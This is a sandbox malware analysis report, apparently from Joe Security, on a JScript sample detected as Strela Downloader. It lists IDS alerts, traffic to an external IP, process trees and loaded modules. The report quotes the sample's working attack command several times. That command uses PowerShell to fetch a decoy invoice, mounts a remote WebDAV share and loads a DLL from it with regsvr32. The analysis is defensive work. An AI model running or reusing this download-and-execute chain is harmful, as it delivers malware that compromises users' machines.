Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49722 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1317200428.0000018DD3CCF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1319532201.0000018DD3CDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1372266830.000001517ADA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372266830.000001517ADFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372266830.000001517ADD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1372266830.000001517ADA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2604697735.0000017BAB000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1370243140.0000017BAB200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7600, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1579614525244583223.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/40@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ouni0o5r.ytg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1579614525244583223.js	Virustotal: Detection: 13%
Source: 1579614525244583223.js	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1579614525244583223.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1692,i,797162410521209075,1160637675029131168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1692,i,797162410521209075,1160637675029131168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
